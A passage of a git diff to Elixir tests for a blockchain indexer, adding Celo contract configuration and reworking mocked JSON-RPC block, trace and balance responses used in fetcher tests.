"0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "blockNumber" => "0x25", + "data" => "0x000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + "logIndex" => "0x0", + "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], + "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", + "transactionIndex" => "0x0", + "transactionLogIndex" => "0x0" + } + ], + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "root" => nil, + "status" => "0x1", + "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", + "transactionIndex" => "0x0" + } + } + ]} + end) + |> expect(:json_rpc, fn [%{id: id, method: "trace_block", params: [^block_quantity]}], _options -> + {:ok, [%{id: id, result: []}]} + end) + # async requests need to be grouped in one expect because the order is non-deterministic while multiple expect + # calls on the same name/arity are used in order + |> expect(:json_rpc, 5, fn json, _options -> + case json do + [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ] -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: %{ + "author" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd5830108048650617269747986312e32322e31826c69", + "gasLimit" => "0x69fe20", + "gasUsed" => "0xc512", + "hash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + "number" => "0x25", + "parentHash" => "0xc37bbad7057945d1bf128c1ff009fb1ad632110bf6a000aac025a80f7766b66e", + "receiptsRoot" => "0xd300311aab7dcc98c05ac3f1893629b2c9082c189a0a0c76f4f63e292ac419d5", + "sealFields" => [ + "0x84120a71de", + "0xb841fcdb570511ec61edda93849bb7c6b3232af60feb2ea74e4035f0143ab66dfdd00f67eb3eda1adddbb6b572db1e0abd39ce00f9b3ccacb9f47973279ff306fe5401" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "fcdb570511ec61edda93849bb7c6b3232af60feb2ea74e4035f0143ab66dfdd00f67eb3eda1adddbb6b572db1e0abd39ce00f9b3ccacb9f47973279ff306fe5401", + "size" => "0x2cf", + "stateRoot" => "0x2cd84079b0d0c267ed387e3895fd1c1dc21ff82717beb1132adac64276886e19", + "step" => "302674398", + "timestamp" => "0x5a343956", + "totalDifficulty" => "0x24ffffffffffffffffffffffffedf78dfd", + "transactions" => [transaction], + "transactionsRoot" => "0x68e314a05495f390f9cd0c36267159522e5450d2adf254a74567b452e767bf34", + "uncles" => [] + } + } + ]} + + [%{id: id, method: "eth_getBalance", params: [^to_address_hash, ^block_quantity]}] -> + {:ok, [%{id: id, jsonrpc: "2.0", result: "0x1"}]} + + [%{id: id, method: "eth_getBalance", params: [^from_address_hash, ^block_quantity]}] -> + {:ok, [%{id: id, jsonrpc: "2.0", result: "0xd0d4a965ab52d8cd740000"}]} + + [%{id: id, method: "trace_replayBlockTransactions", params: [^block_quantity, ["trace"]]}] -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: [ + %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => from_address_hash, + "gas" => "0x475ec8", + "input" => + "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + "to" => to_address_hash, + "value" => "0x0" + }, + "result" => %{"gasUsed" => "0x6c7a", "output" => "0x"}, + "subtraces" => 0, + "traceAddress" => [], + "type" => "call" + } + ], + "transactionHash" => transaction_hash, + "vmTrace" => nil + } + ] + } + ]} + + requests -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_call", params: [%{data: "0x313ce567", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000000000000000012" + } + + %{id: id, method: "eth_call", params: [%{data: "0x06fdde03", to: _}, "latest"]} -> + %{ + id: id, + result: + "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000642616e636f720000000000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x95d89b41", to: _}, "latest"]} -> + %{ + id: id, + result: + "0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003424e540000000000000000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x18160ddd", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000" + } + end)} + end + end) + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + end + + case Keyword.fetch!(json_rpc_named_arguments, :variant) do + EthereumJSONRPC.Nethermind -> + gateway_fee_value = Decimal.new(0) + + assert {:ok, + %{ + inserted: %{ + addresses: [ + %Address{ + hash: + %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<139, 243, 141, 71, 100, 146, 144, 100, 242, 212, 211, 165, 101, 32, 167, 106, 179, + 223, 65, 91>> + } = first_address_hash + }, + %Address{ + hash: + %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<232, 221, 197, 199, 162, 210, 240, 215, 169, 121, 132, 89, 192, 16, 79, 223, 94, + 152, 122, 202>> + } = second_address_hash + } + ], + blocks: [ + %Chain.Block{ + hash: %Explorer.Chain.Hash{ + byte_count: 32, + bytes: + <<246, 180, 184, 200, 141, 243, 235, 210, 82, 236, 71, 99, 40, 51, 77, 192, 38, 207, + 102, 96, 106, 132, 251, 118, 155, 61, 60, 188, 204, 132, 113, 189>> + } + } + ], + logs: [ + %Log{ + index: 0, + transaction_hash: %Explorer.Chain.Hash{ + byte_count: 32, + bytes: + <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, + 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> + } + } + ], + transactions: [ + %Transaction{ + block_number: block_number, + index: 0, + hash: %Explorer.Chain.Hash{ + byte_count: 32, + bytes: + <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, + 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> + }, + gas_token_contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<71, 30, 206, 55, 80, 218, 35, 127, 147, 184, 227, 57, 197, 54, 152, 155, 137, 120, + 164, 56>> + }, + gas_fee_recipient_address_hash: nil, + gateway_fee: %Explorer.Chain.Wei{value: ^gateway_fee_value} + } + ] + }, + errors: [] + }} = Fetcher.fetch_and_import_range(block_fetcher, block_number..block_number) + + configuration = Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, disabled?: false) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, configuration) + end) + + wait_for_tasks(CoinBalanceCatchup) + + assert Repo.aggregate(Chain.Block, :count, :hash) == 1 + assert Repo.aggregate(Address, :count, :hash) == 2 + assert Repo.aggregate(Log, :count) == 1 + assert Repo.aggregate(Transaction, :count, :hash) == 1 + + first_address = Repo.get!(Address, first_address_hash) + + assert first_address.fetched_coin_balance == %Wei{value: Decimal.new(1)} + assert first_address.fetched_coin_balance_block_number == block_number + + second_address = Repo.get!(Address, second_address_hash) + + assert second_address.fetched_coin_balance == %Wei{value: Decimal.new(252_460_837_000_000_000_000_000_000)} + assert second_address.fetched_coin_balance_block_number == block_number + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + end + end + end + defp wait_until(timeout, producer) do parent = self() ref = make_ref() @@ -862,4 +1257,28 @@ defmodule Indexer.Block.FetcherTest do } } end + + def maybe_set_celo_core_contracts_env do + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "Accounts" => [], + "Election" => [], + "EpochRewards" => [], + "FeeHandler" => [], + "GasPriceMinimum" => [], + "GoldToken" => [], + "Governance" => [], + "LockedGold" => [], + "Reserve" => [], + "StableToken" => [], + "Validators" => [] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + end end diff --git a/apps/indexer/test/indexer/block/realtime/fetcher_test.exs b/apps/indexer/test/indexer/block/realtime/fetcher_test.exs index 6cf066632ec4..f0fa21cc99bb 100644 --- a/apps/indexer/test/indexer/block/realtime/fetcher_test.exs +++ b/apps/indexer/test/indexer/block/realtime/fetcher_test.exs @@ -4,11 +4,21 @@ defmodule Indexer.Block.Realtime.FetcherTest do import Mox - alias Explorer.Chain + alias Explorer.{Chain, Factory} alias Explorer.Chain.{Address, Transaction, Wei} - alias Indexer.Block.Catchup.Sequence alias Indexer.Block.Realtime - alias Indexer.Fetcher.{ContractCode, InternalTransaction, ReplacedTransaction, Token, TokenBalance, UncleBlock} + alias Indexer.Fetcher.CoinBalance.Realtime, as: CoinBalanceRealtime + + alias Indexer.Fetcher.{ + ContractCode, + InternalTransaction, + ReplacedTransaction, + Token, + TokenBalance, + UncleBlock + } + + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand @moduletag capture_log: true @@ -36,6 +46,32 @@ defmodule Indexer.Block.Realtime.FetcherTest do } TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceRealtime.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + {:ok, _pid} = ContractCreatorOnDemand.start_link([[], []]) + + Application.put_env(:indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, disabled?: true) + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "Accounts" => [], + "Election" => [], + "EpochRewards" => [], + "FeeHandler" => [], + "GasPriceMinimum" => [], + "GoldToken" => [], + "Governance" => [], + "LockedGold" => [], + "Reserve" => [], + "StableToken" => [], + "Validators" => [] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) %{block_fetcher: block_fetcher, json_rpc_named_arguments: core_json_rpc_named_arguments} end @@ -46,9 +82,6 @@ defmodule Indexer.Block.Realtime.FetcherTest do block_fetcher: %Indexer.Block.Fetcher{} = block_fetcher, json_rpc_named_arguments: json_rpc_named_arguments } do - {:ok, sequence} = Sequence.start_link(ranges: [], step: 2) - Sequence.cap(sequence) - Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) @@ -61,6 +94,40 @@ defmodule Indexer.Block.Realtime.FetcherTest do ReplacedTransaction.Supervisor.Case.start_supervised!() + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + + # In CELO network, there is a token duality feature where CELO can be used + # as both a native chain currency and as an ERC-20 token (GoldToken). + # Transactions that transfer CELO are also counted as token transfers, and + # the TokenInstance fetcher is called. However, for simplicity, we disable + # it in this test. + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: true) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: false) + end) + + celo_token_address_hash = Factory.address_hash() + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "GoldToken" => [ + %{ + "address" => to_string(celo_token_address_hash), + "updated_at_block_number" => 3_946_079 + } + ] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do EthereumJSONRPC.Mox |> expect(:json_rpc, fn [ @@ -205,7 +272,7 @@ defmodule Indexer.Block.Realtime.FetcherTest do } ]} end) - |> expect(:json_rpc, 4, fn + |> expect(:json_rpc, 1, fn [ %{id: 0, jsonrpc: "2.0", method: "trace_block", params: ["0x3C365F"]}, %{id: 1, jsonrpc: "2.0", method: "trace_block", params: ["0x3C3660"]} @@ -470,53 +537,13 @@ defmodule Indexer.Block.Realtime.FetcherTest do ] } ]} - - [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x40b18103537c0f15d5e137dd8ddd019b84949d16", "0x3C365F"] - }, - %{ - id: 1, - jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", "0x3C365F"] - }, - %{ - id: 2, - jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", "0x3C3660"] - }, - %{ - id: 3, - jsonrpc: "2.0", - method: "eth_getBalance", - params: ["0x698bf6943bab687b2756394624aa183f434f65da", "0x3C365F"] - } - ], - _ -> - {:ok, - [ - %{id: 0, jsonrpc: "2.0", result: "0x148adc763b603291685"}, - %{id: 1, jsonrpc: "2.0", result: "0x53474fa377a46000"}, - %{id: 2, jsonrpc: "2.0", result: "0x53507afe51f28000"}, - %{id: 3, jsonrpc: "2.0", result: "0x3e1a95d7517dc197108"} - ]} end) end assert {:ok, %{ inserted: %{ - addresses: [ - %Address{hash: first_address_hash, fetched_coin_balance_block_number: 3_946_079}, - %Address{hash: second_address_hash, fetched_coin_balance_block_number: 3_946_079}, - %Address{hash: third_address_hash, fetched_coin_balance_block_number: 3_946_080}, - %Address{hash: fourth_address_hash, fetched_coin_balance_block_number: 3_946_079} - ], + addresses: addresses, address_coin_balances: [ %{ address_hash: first_address_hash, @@ -540,6 +567,23 @@ defmodule Indexer.Block.Realtime.FetcherTest do }, errors: [] }} = Indexer.Block.Fetcher.fetch_and_import_range(block_fetcher, 3_946_079..3_946_080) + + unless Application.get_env(:explorer, :chain_type) == :celo do + assert [ + %Address{hash: ^first_address_hash}, + %Address{hash: ^second_address_hash}, + %Address{hash: ^third_address_hash}, + %Address{hash: ^fourth_address_hash} + ] = addresses + else + assert [ + %Address{hash: ^celo_token_address_hash}, + %Address{hash: ^first_address_hash}, + %Address{hash: ^second_address_hash}, + %Address{hash: ^third_address_hash}, + %Address{hash: ^fourth_address_hash} + ] = addresses + end end @tag :no_geth @@ -549,9 +593,6 @@ defmodule Indexer.Block.Realtime.FetcherTest do } do Application.put_env(:indexer, :fetch_rewards_way, "manual") - {:ok, sequence} = Sequence.start_link(ranges: [], step: 2) - Sequence.cap(sequence) - Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) @@ -562,8 +603,42 @@ defmodule Indexer.Block.Realtime.FetcherTest do block_fetcher: %Indexer.Block.Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} ) + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + ReplacedTransaction.Supervisor.Case.start_supervised!() + # In CELO network, there is a token duality feature where CELO can be used + # as both a native chain currency and as an ERC-20 token (GoldToken). + # Transactions that transfer CELO are also counted as token transfers, and + # the TokenInstance fetcher is called. However, for simplicity, we disable + # it in this test. + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: true) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: false) + end) + + celo_token_address_hash = Factory.address_hash() + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "GoldToken" => [ + %{ + "address" => to_string(celo_token_address_hash), + "updated_at_block_number" => 3_946_079 + } + ] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do EthereumJSONRPC.Mox |> expect(:json_rpc, fn [ @@ -708,16 +783,124 @@ defmodule Indexer.Block.Realtime.FetcherTest do } ]} end) - |> expect(:json_rpc, 3, fn - [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: ["0x3C365F", true] - } - ], - _ -> + end + + first_expected_reward = %Wei{value: Decimal.new(165_998_000_000_000)} + second_expected_reward = %Wei{value: Decimal.new(0)} + + assert {:ok, + %{ + inserted: %{ + addresses: addresses, + address_coin_balances: [ + %{ + address_hash: first_address_hash, + block_number: 3_946_079 + }, + %{ + address_hash: second_address_hash, + block_number: 3_946_079 + }, + %{ + address_hash: third_address_hash, + block_number: 3_946_080 + }, + %{ + address_hash: fourth_address_hash, + block_number: 3_946_079 + } + ], + block_rewards: [ + %{ + address_hash: second_address_hash, + address_type: :validator, + reward: ^first_expected_reward + }, + %{ + address_hash: third_address_hash, + address_type: :validator, + reward: ^second_expected_reward + } + ], + blocks: [%Chain.Block{number: 3_946_079}, %Chain.Block{number: 3_946_080}], + transactions: [%Transaction{hash: _transaction_hash}] + }, + errors: [] + }} = Indexer.Block.Fetcher.fetch_and_import_range(block_fetcher, 3_946_079..3_946_080) + + unless Application.get_env(:explorer, :chain_type) == :celo do + assert [ + %Address{hash: ^first_address_hash}, + %Address{hash: ^second_address_hash}, + %Address{hash: ^third_address_hash}, + %Address{hash: ^fourth_address_hash} + ] = addresses + else + assert [ + %Address{hash: ^celo_token_address_hash}, + %Address{hash: ^first_address_hash}, + %Address{hash: ^second_address_hash}, + %Address{hash: ^third_address_hash}, + %Address{hash: ^fourth_address_hash} + ] = addresses + end + + Application.put_env(:indexer, :fetch_rewards_way, nil) + end + + if Application.compile_env(:explorer, :chain_type) == :stability do + @tag :no_geth + test "update stability validator counter", %{ + block_fetcher: %Indexer.Block.Fetcher{} = block_fetcher, + json_rpc_named_arguments: json_rpc_named_arguments + } do + Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + UncleBlock.Supervisor.Case.start_supervised!( + block_fetcher: %Indexer.Block.Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} + ) + + ReplacedTransaction.Supervisor.Case.start_supervised!() + + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + + # In CELO network, there is a token duality feature where CELO can be used + # as both a native chain currency and as an ERC-20 token (GoldToken). + # Transactions that transfer CELO are also counted as token transfers, and + # the TokenInstance fetcher is called. However, for simplicity, we disable + # it in this test. + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: true) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, disabled?: false) + end) + + validator_1 = insert(:validator_stability) + validator_2 = insert(:validator_stability) + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x3C365F", true] + }, + %{ + id: 1, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x3C3660", true] + } + ], + _ -> {:ok, [ %{ @@ -732,7 +915,7 @@ defmodule Indexer.Block.Realtime.FetcherTest do "hash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "miner" => "0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", + "miner" => to_string(validator_1.address_hash), "number" => "0x3c365f", "parentHash" => "0x57f6d66e07488defccd5216c4d2968dd6afd3bd32415e284de3b02af6535e8dc", "receiptsRoot" => "0x111be72e682cea9c93e02f1ef503fb64aa821b2ef510fd9177c49b37d0af98b5", @@ -748,52 +931,13 @@ defmodule Indexer.Block.Realtime.FetcherTest do "step" => "306628159", "timestamp" => "0x5b61df3b", "totalDifficulty" => "0x3c365effffffffffffffffffffffffed7f0362", - "transactions" => [ - %{ - "blockHash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", - "blockNumber" => "0x3c365f", - "chainId" => "0x63", - "condition" => nil, - "creates" => nil, - "from" => "0x40b18103537c0f15d5e137dd8ddd019b84949d16", - "gas" => "0x3d9c5", - "gasPrice" => "0x3b9aca00", - "hash" => "0xd3937e70fab3fb2bfe8feefac36815408bf07de3b9e09fe81114b9a6b17f55c8", - "input" => - "0x8841ac11000000000000000000000000000000000000000000000000000000000000006c000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000005", - "nonce" => "0x65b", - "publicKey" => - "0x89c2123ed4b5d141cf1f4b6f5f3d754418f03aea2e870a1c50888d94bf5531f74237e2fea72d0bc198ef213272b62c6869615720757255e6cba087f9db6e759f", - "r" => "0x55a1a93541d7f782f97f6699437bb60fa4606d63760b30c1ee317e648f93995", - "raw" => - "0xf8f582065b843b9aca008303d9c594698bf6943bab687b2756394624aa183f434f65da8901158e4f216242a000b8848841ac11000000000000000000000000000000000000000000000000000000000000006c00000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000581eaa0055a1a93541d7f782f97f6699437bb60fa4606d63760b30c1ee317e648f93995a06affd4da5eca84fbca2b016c980f861e0af1f8d6535e2fe29d8f96dc0ce358f7", - "s" => "0x6affd4da5eca84fbca2b016c980f861e0af1f8d6535e2fe29d8f96dc0ce358f7", - "standardV" => "0x1", - "to" => "0x698bf6943bab687b2756394624aa183f434f65da", - "transactionIndex" => "0x0", - "v" => "0xea", - "value" => "0x1158e4f216242a000" - } - ], + "transactions" => [], "transactionsRoot" => "0xd7c39a93eafe0bdcbd1324c13dcd674bed8c9fa8adbf8f95bf6a59788985da6f", "uncles" => ["0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cd"] } - } - ]} - - [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: ["0x3C3660", true] - } - ], - _ -> - {:ok, - [ + }, %{ - id: 0, + id: 1, jsonrpc: "2.0", result: %{ "author" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", @@ -804,7 +948,7 @@ defmodule Indexer.Block.Realtime.FetcherTest do "hash" => "0xfb483e511d316fa4072694da3f7abc94b06286406af45061e5e681395bdc6815", "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "miner" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", + "miner" => to_string(validator_2.address_hash), "number" => "0x3c3660", "parentHash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", @@ -826,140 +970,282 @@ defmodule Indexer.Block.Realtime.FetcherTest do } } ]} + end) + |> expect(:json_rpc, 1, fn + [ + %{id: 0, jsonrpc: "2.0", method: "trace_block", params: ["0x3C365F"]}, + %{id: 1, jsonrpc: "2.0", method: "trace_block", params: ["0x3C3660"]} + ], + _ -> + {:ok, + [ + %{id: 0, jsonrpc: "2.0", result: []}, + %{id: 1, jsonrpc: "2.0", result: []} + ]} + [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x3C365F", true] + } + ], + _ -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: %{ + "author" => "0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd583010b088650617269747986312e32372e32826c69", + "gasLimit" => "0x7a1200", + "gasUsed" => "0x2886e", + "hash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x5ee341ac44d344ade1ca3a771c59b98eb2a77df2", + "number" => "0x3c365f", + "parentHash" => "0x57f6d66e07488defccd5216c4d2968dd6afd3bd32415e284de3b02af6535e8dc", + "receiptsRoot" => "0x111be72e682cea9c93e02f1ef503fb64aa821b2ef510fd9177c49b37d0af98b5", + "sealFields" => [ + "0x841246c63f", + "0xb841ba3d11db672fd7893d1b7906275fa7c4c7f4fbcc8fa29eab0331480332361516545ef10a36d800ad2be2b449dde8d5703125156a9cf8a035f5a8623463e051b700" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "ba3d11db672fd7893d1b7906275fa7c4c7f4fbcc8fa29eab0331480332361516545ef10a36d800ad2be2b449dde8d5703125156a9cf8a035f5a8623463e051b700", + "size" => "0x33e", + "stateRoot" => "0x7f73f5fb9f891213b671356126c31e9795d038844392c7aa8800ed4f52307209", + "step" => "306628159", + "timestamp" => "0x5b61df3b", + "totalDifficulty" => "0x3c365effffffffffffffffffffffffed7f0362", + "transactions" => [], + "transactionsRoot" => "0xd7c39a93eafe0bdcbd1324c13dcd674bed8c9fa8adbf8f95bf6a59788985da6f", + "uncles" => ["0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cd"] + } + } + ]} + + [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x3C3660", true] + } + ], + _ -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: %{ + "author" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd583010a068650617269747986312e32362e32826c69", + "gasLimit" => "0x7a1200", + "gasUsed" => "0x0", + "hash" => "0xfb483e511d316fa4072694da3f7abc94b06286406af45061e5e681395bdc6815", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x66c9343c7e8ca673a1fedf9dbf2cd7936dbbf7e3", + "number" => "0x3c3660", + "parentHash" => "0xa4ec735cabe1510b5ae081b30f17222580b4588dbec52830529753a688b046cc", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x841246c640", + "0xb84114db3fd7526b7ea3635f5c85c30dd8a645453aa2f8afe5fd33fe0ec663c9c7b653b0fb5d8dc7d0b809674fa9dca9887d1636a586bf62191da22255eb068bf20800" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "14db3fd7526b7ea3635f5c85c30dd8a645453aa2f8afe5fd33fe0ec663c9c7b653b0fb5d8dc7d0b809674fa9dca9887d1636a586bf62191da22255eb068bf20800", + "size" => "0x243", + "stateRoot" => "0x3174c461989e9f99e08fa9b4ffb8bce8d9a281c8fc9f80694bb9d3acd4f15559", + "step" => "306628160", + "timestamp" => "0x5b61df40", + "totalDifficulty" => "0x3c365fffffffffffffffffffffffffed7f0360", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + } + ]} + + [ + %{ + id: 0, + 